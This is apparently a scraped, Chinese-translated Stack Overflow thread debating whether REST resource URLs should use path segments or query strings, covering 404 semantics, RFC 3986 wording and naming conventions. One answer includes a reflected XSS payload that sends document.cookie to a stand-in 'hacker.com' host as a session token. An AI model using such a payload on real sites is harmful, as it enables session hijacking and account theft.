【问题标题】:Querystring in REST Resource urlREST 资源 url 中的查询字符串
【发布时间】:2011-04-18 19:28:09
【问题描述】:

我今天与一位同事讨论了如何在 REST URL 中使用查询字符串。举两个例子:

1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua

我的立场是 URL 应该像示例 1 那样设计。这样更简洁,我认为在 REST 中是正确的。在我看来,如果产品代码不存在,则从示例 1 返回 404 错误是完全正确的,而示例 2 返回 404 将是错误的,因为页面应该存在。他的立场是这并不重要,他们都做同样的事情。

由于我们都没有找到具体的证据(诚然我的搜索并不广泛),我想知道其他人对此的看法。

【问题讨论】:

  • 感谢大家的回答。他现在已经承认选项一比选项 2 更好,需要更多的阅读/研究。
  • 请注意,REST 中的资源应该是名词而不是动词。因此,“按产品代码查找”首先是不合适的。

标签: rest


【解决方案1】:

在典型的 REST API 中,示例 #1 更正确。资源表示为 URI,而 #1 则更多。找不到产品代码时返回 404 绝对是正确的行为。话虽如此,我会稍微修改#1,使其更具表现力:

http://localhost/products/code/4xheaua

查看其他精心设计的 REST API - 例如,查看 StackOverflow。你有:

stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663

这些都是解决“问题”的不同方式。

【讨论】:

  • +1 因为 findbyproductcode 比名词更动词 - 它是 RPC 调用,而不是资源。但是,当您有多个搜索条件而不仅仅是产品代码时,我认为问题会发生一些变化,答案也会发生变化。 /products?size={size}&color={color} 。我很想知道你对此的看法。
  • 我会说:如果 code, 4xheauathe 产品 ID,那么我最好使用 domain/products/4xheaua。相反,如果 code 只是众多搜索条件之一,那么我会选择 domain/products?code=4xheaua
  • 我要补充一点,额外的路径部分应该表达一种分层的、类似目录的关系。我相信,这是@superjos (+1) 所说的基本原则。但是,并非所有资源都有 ID,所以它更通用一些。
  • 这是正确的。这使您可以执行localhost/products/newlocalhost/products/firesale 之类的操作
  • 资源由 2 个字段标识呢? /domain/projects?code=xxx&name=xxx
【解决方案2】:

从客户端的角度来看,这两个 URI 之间没有区别。 URI 对客户端是不透明的。使用更清晰地映射到您的服务器端基础架构中的任何一个。

就 REST 而言,绝对没有区别。我相信为什么这么多人确实认为它只是标识资源的路径组件的原因是因为RFC 2396中的以下行

查询组件是一个字符串 需解释的信息 资源。

这一行后来在RFC 3986 中更改为:

查询组件包含 非分层数据,连同 路径组件中的数据(部分 3.3),用于识别资源

恕我直言,这意味着在识别资源时,查询字符串和路径段在功能上是等效的。


更新以解决史蒂夫的评论。

如果我反对“清洁工”这个形容词,请原谅我。这太主观了。尽管我错过了问题的重要部分,但您确实有一点。

我认为是否返回 404 的答案取决于正在检索的资源是什么。它是搜索结果的表示,还是产品的表示?要知道这一点,您确实需要查看将我们引导至 URL 的链接关系。

如果 URL 应该返回 Product 表示,那么如果代码不存在,则应该返回 404。如果 URL 返回搜索结果,则不应返回 404。

最终结果是 URL 的外观不是决定因素。话虽如此,查询字符串用于返回搜索结果是惯例,因此当您不想返回 404 时,使用该样式的 URL 会更直观。

【讨论】:

  • 引用 RFC 规范很好,但这不完全是被问到的问题。是的,这两个例子在功能上是等价的——这没有争议。这个问题超出了资源的教科书“定义”(它们都适用)。对于他的问题,如果查询字符串中的代码不存在怎么办? 404?他的问题的“更清洁”方面呢?两者都是“有效的”,是的,但是恕我直言,#1 是“更干净”,更符合他所寻求的(结合我在下面对 StackOverflow 的回答)。
  • 我同意您在更新答案中给出的比较。查询字符串对于没有 404 的搜索结果有意义。对于产品代码(根据这个问题)404 是有意义的,IMO 在这种情况下不使用查询字符串更为常见。感谢您提供更新的答案。
  • @DarrelMiller “恕我直言,这意味着在识别资源时查询字符串和路径段在功能上是等效的。”是什么意思?你是说foo/resourcesfoo/resources?queryParam=bar 被视为相同的资源标识符吗?或者说,虽然资源标识符不同,但它们标识的是同一个资源?
  • @LesHazlewood 两者都不是。它们是两种不同的资源标识符,用于标识两种不同的资源,但任何一种都可以同样有效地工作。
【解决方案3】:

这两个 URI 的结尾在 RESTfully 中不是很重要。

但是,“findbyproductcode”部分肯定会更安静。为什么不只是 http://localhost/product/4xxheau?

根据我有限的经验,如果您有一个唯一标识符,那么构造类似 .../product/{id} 的 URI 看起来会很干净 但是,如果产品代码不是唯一的,那么我可能会设计得更像#2。

但是,正如 Darrel 所观察到的,客户端不应该关心 URI 的样子。

【讨论】:

  • +1 表示“如果产品代码不是唯一的”。写例如http://www.google.com/search/democracy 而不是 http://www.google.com/search?q=democracy... 还是只是我们的习惯?
【解决方案4】:

IMO 路径组件应始终说明您要检索的内容。像http://localhost/findbyproductcode 这样的 URL 只是说我想通过产品代码检索一些东西,但究竟是什么?

因此,您使用http://localhost/contacts 检索联系人,使用http://localhost/users 检索用户。查询字符串仅用于根据资源属性检索此类列表的子集。唯一的例外是当这个子集根据主键减少到一个记录时,然后你使用类似 http://localhost/contact/[primary_key] 的东西。

这是我的方法,你的里程可能会有所不同:)

【讨论】:

    【解决方案5】:

    查询字符串在许多实际意义上是不可避免的……考虑一下如果搜索允许所有指定的多个(可选)字段会发生什么。在第一种形式中,它们在层次结构中的位置必须固定和填充......

    想象一下以这种格式编写一个通用的 SQL“where 子句”......但是作为一个查询字符串,它非常简单。

    【讨论】:

      【解决方案6】:

      对于 REST 客户端,URI 结构无关紧要,因为它遵循带有语义注释的链接,并且从不解析 URI。

      由编写路由逻辑和链接生成逻辑的开发人员编写,并且可能希望通过检查 URL 来了解日志,URI 结构确实很重要。通过 REST,我们将 URI 映射到资源而不是操作 - Fielding dissertation / uniform interface / identification of resources

      因此,这两种 URI 结构都可能存在缺陷,因为它们包含当前格式的动词。

      1. /findbyproductcode/4xxheua
      2. /findbyproductcode?productcode=4xxheua

      您可以通过这种方式从 URI 中删除 find

      1. /products/code:4xxheua
      2. /products?code="4xxheua"

      从 REST 的角度来看,选择哪一个并不重要。

      您可以定义自己的命名约定,例如:“通过使用唯一标识符将集合简化为单个资源,唯一标识符必须始终是路径的一部分,而不是查询的一部分”。这与 URI 标准规定的相同:路径是分层的,查询是非分层的。所以我会使用/products/code:4xxheua

      【讨论】:

        【解决方案7】:

        从哲学上讲,页面并不“存在”。当您将书籍或文件放在书架上时,它们会留在那里。他们在那个架子上有一些单独的存在。然而,一个页面只有在它被托管在某个打开并能够按需提供它的计算机上时才存在。当然,该页面可以始终动态生成,因此在您提出请求之前它不需要任何特殊存在。

        现在从服务器的角度考虑一下。假设它是,比如说,正确配置的 Apache --- 不是一个单行的 python 服务器,只是将所有请求映射到文件系统。那么 URL 中指定的特定路径可能与文件系统中特定文件的位置无关。所以,再一次,一个页面在任何明确的意义上都不“存在”。也许你请求http://some.url/products/intel.html,你会得到一个页面;然后你请求http://some.url/products/bigmac.html,你什么也看不到。这并不意味着只有一个文件而没有另一个。您可能没有访问其他文件的权限,因此服务器返回 404,或者 bigmac.html 可能是从暂时停机的远程麦当劳服务器提供的。

        我要解释的是,404 只是一个数字。它没有什么特别之处:它可能是40404-2349.23847,我们刚刚同意使用404。这意味着服务器在那里,它与你通信,它可能理解你想要什么,它没有任何东西可以回馈给你。如果您认为当服务器出于某种原因决定不提供文件时返回404http://some.url/products/bigmac.html 是合适的,那么您不妨同意为http://some.url/products?id=bigmac 返回404

        现在,如果您想对使用浏览器并尝试手动编辑 URL 的用户提供帮助,您可以将他们重定向到包含所有产品列表和一些搜索功能的页面,而不仅仅是给他们一个 @987654332 @ --- 或者您可以提供 404 作为代码和所有产品的链接。但是,您可以使用http://some.url/products/bigmac.html 执行相同的操作:自动重定向到包含所有产品的页面。

        【讨论】:

          【解决方案8】:

          这个问题专门用于,什么是更清洁的方法。但我想关注一个不同的方面,称为安全性。当我开始深入研究应用程序安全时,我发现使用PathParams(方法 1)而不是QueryParams(方法 2)可以成功防止反射型 XSS 攻击。

          (当然,反射型 XSS 攻击的先决条件是恶意用户输入在 html 源中被反射回客户端。不幸的是,某些应用程序会这样做,这就是为什么 PathParams 可能会阻止XSS 攻击)

          之所以可行,是因为 XSS 负载与PathParams 结合使用会导致由于负载本身中的斜杠而导致未知的、未定义的 URL 路径。

          http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

          而通过使用QueryParam,此攻击将成功!

          http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>
          

          【讨论】:

          • 这就是你清理用户输入的原因。与问题无关。
          【解决方案9】:

          GET 有两个用例

          1. 获取唯一标识的资源
          2. 根据给定条件搜索资源

          用例 1 示例:

          /products/4xxheua
          获取唯一标识的产品,如果找不到则返回 404。

          用例 2 示例:

          /products?size=large&color=red
          搜索产品,返回匹配产品列表(0 到多个)。

          如果我们看一下 Google Maps API,我们可以看到他们使用查询字符串进行搜索。

          例如 http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

          所以这两种样式都适用于它们自己的用例。

          【讨论】:

            【解决方案10】:

            在我看来,URI 路径定义资源,而可选的查询字符串提供用户定义的信息。所以

            https://domain.com/products/42
            

            识别特定产品,同时

            https://domain.com/products?price=under+5
            

            可能会搜索 5 美元以下的产品。

            我不同意那些说使用查询字符串来识别资源与 REST 一致的人。 REST 的很大一部分是创建一个模拟静态分层文件系统的 API(实际上不需要后端这样的系统)——这使得直观的语义资源标识符成为可能。查询字符串打破了这种层次结构。例如手表是有配件的配件。在 REST 风格中,很清楚是什么

             https://domain.com/accessories/watches
            

            https://domain.com/watches/accessories
            

            每个参考。使用查询字符串,

             https://domain.com?product=watches&category=accessories
            

            不是很清楚。

            至少,REST 样式比查询字符串更好,因为它需要大约一半的信息,因为参数的强排序允许我们放弃参数名称。

            【讨论】:

            • 出色的答案。我完全同意。我只想补充一点,查询字符串仍应在 3 种情况下使用:(i)分页。示例:domain.com/accessories/watches?page=1 (ii) 过滤属性:domain.com/accessories/watches?fields=maker,model,price (iii) 搜索条件:domain.com/accessories/watches?price= LE+100
            猜你喜欢
            • 1970-01-01
            • 1970-01-01
            • 2018-11-29
            • 2012-06-09
            • 1970-01-01
            • 2013-08-18
            • 1970-01-01
            • 1970-01-01
            • 2015-03-16
            相关资源
            最近更新 更多